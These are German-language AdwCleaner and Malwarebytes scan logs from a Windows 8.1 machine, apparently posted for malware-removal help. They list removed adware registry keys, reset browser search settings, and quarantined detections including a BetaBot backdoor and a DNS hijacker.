[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\Interface\{CC8A7CCD-5D3D-4DE1-A658-63315C4CBCC4}
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\Interface\{C8B797A0-024C-4D90-80F5-4CCC0988013A}
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\TypeLib\{764C8270-3798-46F1-8ECE-23F531AF8CEE}
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\TypeLib\{4511A7B0-96B2-47A7-84AB-FB76078EA007}
[-] Schl黶sel gel鰏cht: HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{FF20459C-DA6E-41A7-80BC-8F4FEFD9C575}
[-] Schl黶sel gel鰏cht: HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{E3605470-291B-44EB-8648-745EE356599A}
[-] Schl黶sel gel鰏cht: HKU\.DEFAULT\Software\System Healer
[-] Schl黶sel gel鰏cht: HKU\.DEFAULT\Software\b`nl{y
[-] Schl黶sel gel鰏cht: HKU\.DEFAULT\Software\ompndb
[-] Schl黶sel gel鰏cht: HKU\.DEFAULT\Software\jhdbca
[-] Schl黶sel gel鰏cht: HKU\.DEFAULT\Software\jhtrsq
[-] Schl黶sel gel鰏cht: HKU\.DEFAULT\Software\Interstatnogui
[-] Schl黶sel gel鰏cht: HKU\.DEFAULT\Software\xvb`lj
[-] Schl黶sel gel鰏cht: HKU\.DEFAULT\Software\SwytShop
[-] Schl黶sel gel鰏cht: HKU\.DEFAULT\Software\Genius
[-] Schl黶sel gel鰏cht: HKU\S-1-5-21-3847841184-804715454-2304624315-1001\Software\DownloadProtect
[-] Schl黶sel gel鰏cht: HKU\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Interstat
[-] Schl黶sel gel鰏cht: HKU\S-1-5-21-3847841184-804715454-2304624315-1001\Software\PRODUCTSETUP
[-] Schl黶sel gel鰏cht: HKU\S-1-5-21-3847841184-804715454-2304624315-1001\Software\PC
[-] Schl黶sel gel鰏cht: HKU\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Amigo
[-] Schl黶sel gel鰏cht: HKU\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\{94ebd7b5-82ae-449t-b679-3d04078ed154}
[-] Schl黶sel gel鰏cht: HKU\S-1-5-21-3847841184-804715454-2304624315-1001\Software\csastats
[-] Schl黶sel gel鰏cht: HKU\S-1-5-21-3847841184-804715454-2304624315-1001\Software\AutoTime
[-] Schl黶sel gel鰏cht: HKU\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Event Monitor
[-] Schl黶sel gel鰏cht: HKU\S-1-5-21-3847841184-804715454-2304624315-1001\Software\SNDA
[-] Schl黶sel gel鰏cht: HKU\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\{1f7ee1a8-4436-4ffc-b97b-b5b01e87d3d2}
[-] Schl黶sel gel鰏cht: HKU\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Junemike
[-] Schl黶sel gel鰏cht: HKU\S-1-5-21-3847841184-804715454-2304624315-1001\Software\MICROSOFT\wewewe
[-] Schl黶sel gel鰏cht: HKU\S-1-5-21-3847841184-804715454-2304624315-1001\Software\VideoBox
[-] Schl黶sel gel鰏cht: HKU\S-1-5-21-3847841184-804715454-2304624315-1001\Software\WiperSoft
[-] Schl黶sel gel鰏cht: HKU\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Hotspot
[-] Schl黶sel gel鰏cht: HKU\S-1-5-21-3847841184-804715454-2304624315-1001\Software\SpeeDownloader
[-] Schl黶sel gel鰏cht: HKU\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Speedownloader0099
[-] Schl黶sel gel鰏cht: HKU\S-1-5-21-3847841184-804715454-2304624315-1001\Software\AppDataLow\Software\AppTrailers
[#] Schl黶sel mit Neustart gel鰏cht: HKU\S-1-5-18\Software\System Healer
[#] Schl黶sel mit Neustart gel鰏cht: HKU\S-1-5-18\Software\b`nl{y
[#] Schl黶sel mit Neustart gel鰏cht: HKU\S-1-5-18\Software\ompndb
[#] Schl黶sel mit Neustart gel鰏cht: HKU\S-1-5-18\Software\jhdbca
[#] Schl黶sel mit Neustart gel鰏cht: HKU\S-1-5-18\Software\jhtrsq
[#] Schl黶sel mit Neustart gel鰏cht: HKU\S-1-5-18\Software\Interstatnogui
[#] Schl黶sel mit Neustart gel鰏cht: HKU\S-1-5-18\Software\xvb`lj
[#] Schl黶sel mit Neustart gel鰏cht: HKU\S-1-5-18\Software\SwytShop
[#] Schl黶sel mit Neustart gel鰏cht: HKU\S-1-5-18\Software\Genius
[#] Schl黶sel mit Neustart gel鰏cht: HKCU\Software\DownloadProtect
[#] Schl黶sel mit Neustart gel鰏cht: HKCU\Software\Interstat
[#] Schl黶sel mit Neustart gel鰏cht: HKCU\Software\PRODUCTSETUP
[#] Schl黶sel mit Neustart gel鰏cht: HKCU\Software\PC
[#] Schl黶sel mit Neustart gel鰏cht: HKCU\Software\Amigo
[#] Schl黶sel mit Neustart gel鰏cht: HKCU\Software\Microsoft\{94ebd7b5-82ae-449t-b679-3d04078ed154}
[#] Schl黶sel mit Neustart gel鰏cht: HKCU\Software\csastats
[#] Schl黶sel mit Neustart gel鰏cht: HKCU\Software\AutoTime
[#] Schl黶sel mit Neustart gel鰏cht: HKCU\Software\Event Monitor
[#] Schl黶sel mit Neustart gel鰏cht: HKCU\Software\SNDA
[#] Schl黶sel mit Neustart gel鰏cht: HKCU\Software\Microsoft\{1f7ee1a8-4436-4ffc-b97b-b5b01e87d3d2}
[#] Schl黶sel mit Neustart gel鰏cht: HKCU\Software\Junemike
[#] Schl黶sel mit Neustart gel鰏cht: HKCU\Software\MICROSOFT\wewewe
[#] Schl黶sel mit Neustart gel鰏cht: HKCU\Software\VideoBox
[#] Schl黶sel mit Neustart gel鰏cht: HKCU\Software\WiperSoft
[#] Schl黶sel mit Neustart gel鰏cht: HKCU\Software\Hotspot
[#] Schl黶sel mit Neustart gel鰏cht: HKCU\Software\SpeeDownloader
[#] Schl黶sel mit Neustart gel鰏cht: HKCU\Software\Speedownloader0099
[#] Schl黶sel mit Neustart gel鰏cht: HKCU\Software\AppDataLow\Software\AppTrailers
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\hdcode
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Jawego
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\PC
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Microsoft\{94ebd7b5-82ae-449t-b679-3d04078ed154}
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Event Monitor
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\OtherSearch
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\ScreenShot
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\b`nl{y
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Microsoft\{1f7ee1a8-4436-4ffc-b97b-b5b01e87d3d2}
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\ompndb
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\jhdbca
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\amule-custom
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\EnigmaSoftwareGroup
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\jhtrsq
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Junemike
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\startpageing123Software
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\xvb`lj
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\msServer
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\{84416237-6490-494D-9AD6-4994DD978971}
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Speedownloader0099
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\ourluckysitesSoftware
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\mbs_install
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\betterads
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\initialsite123Software
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\11598763487076930564
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SpyHunter
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKCU\Software\DownloadProtect
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKCU\Software\Interstat
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKCU\Software\PRODUCTSETUP
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKCU\Software\PC
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKCU\Software\Amigo
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKCU\Software\Microsoft\{94ebd7b5-82ae-449t-b679-3d04078ed154}
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKCU\Software\csastats
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKCU\Software\AutoTime
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKCU\Software\Event Monitor
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKCU\Software\SNDA
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKCU\Software\Microsoft\{1f7ee1a8-4436-4ffc-b97b-b5b01e87d3d2}
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKCU\Software\Junemike
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKCU\Software\MICROSOFT\wewewe
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKCU\Software\VideoBox
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKCU\Software\WiperSoft
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKCU\Software\Hotspot
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKCU\Software\SpeeDownloader
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKCU\Software\Speedownloader0099
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKCU\Software\AppDataLow\Software\AppTrailers
[-] Schl黶sel gel鰏cht: [x64] HKLM\SOFTWARE\SearchModule
[-] Schl黶sel gel鰏cht: [x64] HKLM\SOFTWARE\Microsoft\{94ebd7b5-82ae-449t-b679-3d04078ed154}
[-] Schl黶sel gel鰏cht: [x64] HKLM\SOFTWARE\b`nl{y
[-] Schl黶sel gel鰏cht: [x64] HKLM\SOFTWARE\Microsoft\{1f7ee1a8-4436-4ffc-b97b-b5b01e87d3d2}
[-] Schl黶sel gel鰏cht: [x64] HKLM\SOFTWARE\ompndb
[-] Schl黶sel gel鰏cht: [x64] HKLM\SOFTWARE\jhdbca
[-] Schl黶sel gel鰏cht: [x64] HKLM\SOFTWARE\HDWallpaper
[-] Schl黶sel gel鰏cht: [x64] HKLM\SOFTWARE\EnigmaSoftwareGroup
[-] Schl黶sel gel鰏cht: [x64] HKLM\SOFTWARE\Socia2Sear
[-] Schl黶sel gel鰏cht: [x64] HKLM\SOFTWARE\jhtrsq
[-] Schl黶sel gel鰏cht: [x64] HKLM\SOFTWARE\xvb`lj
[-] Schl黶sel gel鰏cht: [x64] HKLM\SOFTWARE\Speedownloader0099
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\Installer\Features\F39E5917C417B4041A46F88010121C6E
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\Installer\Products\F39E5917C417B4041A46F88010121C6E
[-] Schl黶sel gel鰏cht: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\F39E5917C417B4041A46F88010121C6E
[-] Schl黶sel gel鰏cht: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\B68CE107A2DED706DC47D6BC4BF3C4C1
[-] Schl黶sel gel鰏cht: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\9C767D9D7BB3F9C4B839FF09B6C80DCF
[-] Schl黶sel gel鰏cht: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\4EE2F0310EBEC29A0C48C035C43786AA
[-] Schl黶sel gel鰏cht: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\4B2A47D6F1D42DD81A292C027724D291
[-] Schl黶sel gel鰏cht: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\02C076B2283AB74D88D5E4D34BC497FF
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\F39E5917C417B4041A46F88010121C6E
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\Installer\Features\F39E5917C417B4041A46F88010121C6E
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\Installer\Products\F39E5917C417B4041A46F88010121C6E
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\26D9E607FFF0C58C7844B47FF8B6E079E5A2220E
[#] Schl黶sel mit Neustart gel鰏cht: HKLM\SOFTWARE\Microsoft\{1f7ee1a8-4436-4ffc-b97b-b5b01e87d3d2}
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\AppID\QZipShell.DLL
[-] Wert gel鰏cht: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost [WinSAPSvc]
[-] Wert gel鰏cht: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost [Kitty]
[-] Wert gel鰏cht: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost [BIT]
[-] Wert gel鰏cht: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost [3DM]


***** [ Browser ] *****

[-] Firefox Einstellungen bereinigt: "browser.search.searchengine.hp" -  "hxxp://www.initialsite123.com/?z=f1b5038898decb600b47077g1z9tfqae8b9m2tfz7w&from=icb&uid=HGSTXHTS721010A9E630_JR10206P1V048M1V048MX&type=hp"
[-] Firefox Einstellungen bereinigt: "browser.search.searchengine.sp" -  "hxxp://www.initialsite123.com/search/?from=icb&q={searchTerms}&type=sp&uid=HGSTXHTS721010A9E630_JR10206P1V048M1V048MX&z=f1b5038898decb600b47077g1z9tfqae8b9m2tfz7w"
[-] Firefox Einstellungen bereinigt: "browser.search.searchengine.url" -  "hxxp://www.initialsite123.com/search/?from=icb&q={searchTerms}&type=sp&uid=HGSTXHTS721010A9E630_JR10206P1V048M1V048MX&z=f1b5038898decb600b47077g1z9tfqae8b9m2tfz7w"
[-] [C:\Users\Nick Schuster\AppData\Local\Chromium\User Data\Default] [startup_urls] Gel鰏cht: hxxps://de.search.yahoo.com/yhs/web?hspart=iry&hsimp=yhs-fullyhosted_003&type=wbf_ir_17_18&param1=1&param2=f%3D7%26b%3Dchmm%26cc%3Dde%26pa%3Dwincy%26cd%3D2XzuyEtN2Y1L1Qzu0FyCtDyCyCzyyE0FyB0EzytCyByD0DtDtN0D0Tzu0StCzyyDtAtN1L2XzutAtFtBzytFtAtFyByDtN1L1Czu1TtN1L1G1B1V1N2Y1L1Qzu2StCyBtCtBzztByEtCtGyCyB0DtCtG0C0B0DtCtGyE0E0DyCtGtCyEyBzzyD0CzzzytD0CyD0F2QtN1M1F1B2Z1V1N2Y1L1Qzu2StC0C0DtD0D0B0CyDtGzyyC0E0FtGyEtDyEyDtG0BzztCzztG0FtBtDyCtDzy0FtCzztDzz0E2QtN0A0LzuyE%26cr%3D1366659074%26a%3Dwbf_ir_17_18%26os_ver%3D6.3%26os%3DWindows%2B8.1
[-] [C:\Users\Nick Schuster\AppData\Local\Chromium\User Data\Default] [homepage] Gel鰏cht: hxxps://de.search.yahoo.com/yhs/web?hspart=iry&hsimp=yhs-fullyhosted_003&type=wbf_ir_17_18&param1=1&param2=f%3D1%26b%3Dchmm%26cc%3Dde%26pa%3Dwincy%26cd%3D2XzuyEtN2Y1L1Qzu0FyCtDyCyCzyyE0FyB0EzytCyByD0DtDtN0D0Tzu0StCzyyDtAtN1L2XzutAtFtBzytFtAtFyByDtN1L1Czu1TtN1L1G1B1V1N2Y1L1Qzu2StCyBtCtBzztByEtCtGyCyB0DtCtG0C0B0DtCtGyE0E0DyCtGtCyEyBzzyD0CzzzytD0CyD0F2QtN1M1F1B2Z1V1N2Y1L1Qzu2StC0C0DtD0D0B0CyDtGzyyC0E0FtGyEtDyEyDtG0BzztCzztG0FtBtDyCtDzy0FtCzztDzz0E2QtN0A0LzuyE%26cr%3D1366659074%26a%3Dwbf_ir_17_18%26os_ver%3D6.3%26os%3DWindows%2B8.1


*************************

:: "Tracing" Schl黶sel gel鰏cht
:: Winsock Einstellungen zur點kgesetzt
:: "Image File Execution Options" Schl黶sel gel鰏cht
:: "Prefetch" Dateien gel鰏cht
:: Proxy Einstellungen zur點kgesetzt
:: Firewall Einstellungen zur點kgesetzt
:: Internet Explorer Richtlinien gel鰏cht
:: Chrome Richtlinien gel鰏cht
:: Hosts-Datei wiederhergestellt

*************************

C:\AdwCleaner\AdwCleaner[C0].txt - [33556 Bytes] - [05/06/2017 15:51:50]
C:\AdwCleaner\AdwCleaner[S0].txt - [29191 Bytes] - [05/06/2017 15:50:23]

########## EOF - C:\AdwCleaner\AdwCleaner[C0].txt - [33704 Bytes] ##########
--- --- ---

[/CODE]

Code:

Malwarebytes
www.malwarebytes.com

-Protokolldetails-
Scan-Datum: 05.06.17
Scan-Zeit: 15:58
Protokolldatei: mbam.txt
Administrator: Ja

-Softwaredaten-
Version: 3.1.2.1733
Komponentenversion: 1.0.139
Version des Aktualisierungspakets: 1.0.2089
Lizenz: Testversion

-Systemdaten-
Betriebssystem: Windows 8.1
CPU: x64
Dateisystem: NTFS
Benutzer: RAZERLAP\Nick Schuster

-Scan-躡ersicht-
Scan-Typ: Bedrohungs-Scan
Ergebnis: Abgeschlossen
Gescannte Objekte: 594372
Erkannte Bedrohungen: 77
In die Quarant鋘e verschobene Bedrohungen: 77
Abgelaufene Zeit: 53 Min., 54 Sek.

-Scan-Optionen-
Speicher: Aktiviert
Start: Aktiviert
Dateisystem: Aktiviert
Archive: Aktiviert
Rootkits: Deaktiviert
Heuristik: Aktiviert
PUP: Aktiviert
PUM: Aktiviert

-Scan-Details-
Prozess: 0
(keine b鰏artigen Elemente erkannt)

Modul: 0
(keine b鰏artigen Elemente erkannt)

Registrierungsschl黶sel: 15
PUP.Optional.YouTubeAdBlock, HKLM\SOFTWARE\CLASSES\CLSID\{E3605470-291B-44EB-8648-745EE356599A}, L鰏chen bei Neustart, [309], [382053],1.0.2089
PUP.Optional.NeoBar, HKLM\SOFTWARE\CLASSES\CLSID\{FF20459C-DA6E-41A7-80BC-8F4FEFD9C575}, L鰏chen bei Neustart, [149], [169807],1.0.2089
Backdoor.BetaBot.MSIL, HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WEYUM79GYKI7U.EXE, L鰏chen bei Neustart, [4794], [378613],1.0.2089
Backdoor.BetaBot.MSIL, HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WEYUM79GYKI7U.EXE, L鰏chen bei Neustart, [4794], [378613],1.0.2089
PUP.Optional.SwytShop, HKU\S-1-5-18\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\SwytShopAlgoadChrome_Pkg3a_is1, L鰏chen bei Neustart, [3131], [386986],1.0.2089
PUP.Optional.InterStat, HKU\S-1-5-21-3847841184-804715454-2304624315-1001_Classes\APPLICATIONS\interstat.exe, L鰏chen bei Neustart, [1407], [261503],1.0.2089
Adware.Ghokswa, HKU\S-1-5-21-3847841184-804715454-2304624315-1001\SOFTWARE\Applemy, L鰏chen bei Neustart, [326], [403905],1.0.2089
PUP.Optional.Plumbytes, HKLM\SOFTWARE\Plumbytes Software, L鰏chen bei Neustart, [9063], [262040],1.0.2089
PUP.Optional.ByteFence, HKLM\SOFTWARE\MICROSOFT\TRACING\ByteFence_RASAPI32, L鰏chen bei Neustart, [631], [389038],1.0.2089
PUP.Optional.ByteFence, HKLM\SOFTWARE\MICROSOFT\TRACING\ByteFence_RASMANCS, L鰏chen bei Neustart, [631], [389038],1.0.2089
Adware.Elex.Generic, HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{F566FB96-67A4-4E6C-B262-2AE76A61F74F}, L鰏chen bei Neustart, [1107], [391386],1.0.2089
PUP.Optional.Plumbytes, HKLM\SOFTWARE\MICROSOFT\TRACING\Plumbytes_RASAPI32, L鰏chen bei Neustart, [9063], [396951],1.0.2089
PUP.Optional.DNSUnlocker.ACMB2, HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{575f1242}, L鰏chen bei Neustart, [28], [260250],1.0.2089
PUP.Optional.Plumbytes, HKLM\SOFTWARE\MICROSOFT\TRACING\Plumbytes_RASMANCS, L鰏chen bei Neustart, [9063], [396951],1.0.2089
PUP.Optional.BitCoinMiner, HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\gplyra, L鰏chen bei Neustart, [197], [317317],1.0.2089

Registrierungswert: 3
Adware.Elex.Generic, HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{F566FB96-67A4-4E6C-B262-2AE76A61F74F}|DISPLAYNAME, L鰏chen bei Neustart, [1107], [391386],1.0.2089
PUP.Optional.DNSUnlocker.ACMB2, HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{575f1242}|1, L鰏chen bei Neustart, [28], [260250],1.0.2089
PUP.Optional.Kuaizip, HKU\S-1-5-21-3847841184-804715454-2304624315-1001\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FILEEXTS\.bin\OPENWITHPROGIDS|KUAIZIPMOUNT.BIN, L鰏chen bei Neustart, [1141], [392706],1.0.2089

Registrierungsdaten: 7
PUP.Optional.DNSUnlocker.ACMB2, HKLM\SYSTEM\CURRENTCONTROLSET\SERVICES\TCPIP\PARAMETERS|DhcpNameServer, Ersetzen bei Neustart, [28], [-1],0.0.0
PUP.Optional.DNSUnlocker.ACMB2, HKLM\SYSTEM\CURRENTCONTROLSET\SERVICES\TCPIP\PARAMETERS\Interfaces\{04A2521B-7C11-484A-B28D-E9BE3102A821}|NameServer, Ersetzen bei Neustart, [28], [-1],0.0.0
PUP.Optional.DNSUnlocker.ACMB2, HKLM\SYSTEM\CURRENTCONTROLSET\SERVICES\TCPIP\PARAMETERS\Interfaces\{8718928D-CBEB-45EA-A621-800A9249001D}|NameServer, Ersetzen bei Neustart, [28], [-1],0.0.0
PUP.Optional.DNSUnlocker.ACMB2, HKLM\SYSTEM\CURRENTCONTROLSET\SERVICES\TCPIP\PARAMETERS\Interfaces\{8EA2322E-EF2C-4423-AF3C-3EE361FD417B}|NameServer, Ersetzen bei Neustart, [28], [-1],0.0.0
PUP.Optional.DNSUnlocker.ACMB2, HKLM\SYSTEM\CURRENTCONTROLSET\SERVICES\TCPIP\PARAMETERS\Interfaces\{8EA2322E-EF2C-4423-AF3C-3EE361FD417B}|DhcpNameServer, Ersetzen bei Neustart, [28], [-1],0.0.0
PUP.Optional.DNSUnlocker.ACMB2, HKLM\SYSTEM\CURRENTCONTROLSET\SERVICES\TCPIP\PARAMETERS\Interfaces\{9BAF9E4B-D963-4721-8C85-586F3F37FF3C}|DhcpNameServer, Ersetzen bei Neustart, [28], [-1],0.0.0
PUP.Optional.DNSUnlocker.ACMB2, HKLM\SYSTEM\CURRENTCONTROLSET\SERVICES\TCPIP\PARAMETERS\Interfaces\{D14F6D89-FA6F-4917-80C9-3F09BF6A6D5D}|NameServer, Ersetzen bei Neustart, [28], [-1],0.0.0

Daten-Stream: 0
(keine b鰏artigen Elemente erkannt)

Ordner: 17
Backdoor.BetaBot.MSIL, C:\PROGRAMDATA\Google Updater 2.0, L鰏chen bei Neustart, [4794], [378613],1.0.2089
PUP.Optional.SwytShop, C:\WINDOWS\SYSWOW64\CONFIG\SYSTEMPROFILE\APPDATA\LOCAL\Programs\SwytShopAlgoadChrome_Pkg3a, L鰏chen bei Neustart, [3131], [386986],1.0.2089
PUP.Optional.xRocketToolbar, C:\Users\Nick Schuster\AppData\Roaming\Mozilla\Firefox\Profiles\5f8d7llm.default\extensions\arthurj8283@gmail.com\chrome\content, L鰏chen bei Neustart, [12704], [180553],1.0.2089
PUP.Optional.xRocketToolbar, C:\Users\Nick Schuster\AppData\Roaming\Mozilla\Firefox\Profiles\5f8d7llm.default\extensions\arthurj8283@gmail.com\chrome\skin, L鰏chen bei Neustart, [12704], [180553],1.0.2089
PUP.Optional.xRocketToolbar, C:\Users\Nick Schuster\AppData\Roaming\Mozilla\Firefox\Profiles\5f8d7llm.default\extensions\arthurj8283@gmail.com\chrome, L鰏chen bei Neustart, [12704], [180553],1.0.2089
PUP.Optional.xRocketToolbar, C:\USERS\NICK SCHUSTER\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\5F8D7LLM.DEFAULT\EXTENSIONS\ARTHURJ8283@GMAIL.COM, L鰏chen bei Neustart, [12704], [180553],1.0.2089
PUP.Optional.InternetMonitor, C:\Users\Nick Schuster\AppData\Local\CrashRpt\UnsentCrashReports\BandwidthStat_389\Logs, L鰏chen bei Neustart, [12910], [182462],1.0.2089
PUP.Optional.InternetMonitor, C:\USERS\NICK SCHUSTER\APPDATA\LOCAL\CRASHRPT\UNSENTCRASHREPORTS\BandwidthStat_389, L鰏chen bei Neustart, [12910], [182462],1.0.2089
PUP.Optional.FastSearch, C:\USERS\NICK SCHUSTER\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\5F8D7LLM.DEFAULT\EXTENSIONS\AMCONTEXTMENU@LOUCYPHER, L鰏chen bei Neustart, [1144], [329326],1.0.2089
PUP.Optional.InterStat, C:\Users\Nick Schuster\AppData\Local\CrashRpt\UnsentCrashReports\Interstatnogui_389\Logs, L鰏chen bei Neustart, [1407], [373566],1.0.2089
PUP.Optional.InterStat, C:\USERS\NICK SCHUSTER\APPDATA\LOCAL\CRASHRPT\UNSENTCRASHREPORTS\Interstatnogui_389, L鰏chen bei Neustart, [1407], [373566],1.0.2089
PUP.Optional.InterStat, C:\Users\Nick Schuster\AppData\Local\CrashRpt\UnsentCrashReports\Interstatnogui_390\Logs, L鰏chen bei Neustart, [1407], [373566],1.0.2089
PUP.Optional.InterStat, C:\USERS\NICK SCHUSTER\APPDATA\LOCAL\CRASHRPT\UNSENTCRASHREPORTS\Interstatnogui_390, L鰏chen bei Neustart, [1407], [373566],1.0.2089
PUP.Optional.InterStat, C:\Windows\SysWOW64\config\systemprofile\AppData\Local\CrashRpt\UnsentCrashReports\Interstatnogui_389\Logs, L鰏chen bei Neustart, [1407], [373566],1.0.2089
PUP.Optional.InterStat, C:\WINDOWS\SYSWOW64\CONFIG\SYSTEMPROFILE\APPDATA\LOCAL\CRASHRPT\UNSENTCRASHREPORTS\Interstatnogui_389, L鰏chen bei Neustart, [1407], [373566],1.0.2089
PUP.Optional.Geniv, C:\WINDOWS\SYSWOW64\CONFIG\SYSTEMPROFILE\APPDATA\LOCAL\PROGRAMS\GEN, L鰏chen bei Neustart, [2006], [386985],1.0.2089
PUP.Optional.NetSurvey, C:\USERS\NICK SCHUSTER\APPDATA\ROAMING\NETCTL, L鰏chen bei Neustart, [1070], [325153],1.0.2089

Datei: 35
Backdoor.BetaBot.MSIL, C:\ProgramData\Google Updater 2.0\weyum79gyki7u.exe, L鰏chen bei Neustart, [4794], [378613],1.0.2089
PUP.Optional.SwytShop, C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Programs\SwytShopAlgoadChrome_Pkg3a\captcha.hta, L鰏chen bei Neustart, [3131], [386986],1.0.2089
PUP.Optional.SwytShop, C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Programs\SwytShopAlgoadChrome_Pkg3a\unins000.dat, L鰏chen bei Neustart, [3131], [386986],1.0.2089
PUP.Optional.SwytShop, C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Programs\SwytShopAlgoadChrome_Pkg3a\unins000.exe, L鰏chen bei Neustart, [3131], [386986],1.0.2089
PUP.Optional.FastSearch, C:\Users\Nick Schuster\AppData\Roaming\Mozilla\Firefox\Profiles\5f8d7llm.default\extensions\amcontextmenu@loucypher\0024397e, L鰏chen bei Neustart, [1144], [329326],1.0.2089
Adware.Elex, C:\USERS\NICK SCHUSTER\APPDATA\ROAMING\PROFILES\ATETIS.DEFAULT\SEARCHPLUGINS\0U8HA2GG.XML, L鰏chen bei Neustart, [2], [387118],1.0.2089
PUP.Optional.StartPage.ShrtCln, C:\USERS\NICK SCHUSTER\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\5F8D7LLM.DEFAULT\PREFS.JS, Ersetzt, [1907], [373827],1.0.2089
Adware.Elex, C:\USERS\NICK SCHUSTER\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\5F8D7LLM.DEFAULT\PREFS.JS, Ersetzt, [2], [386249],1.0.2089
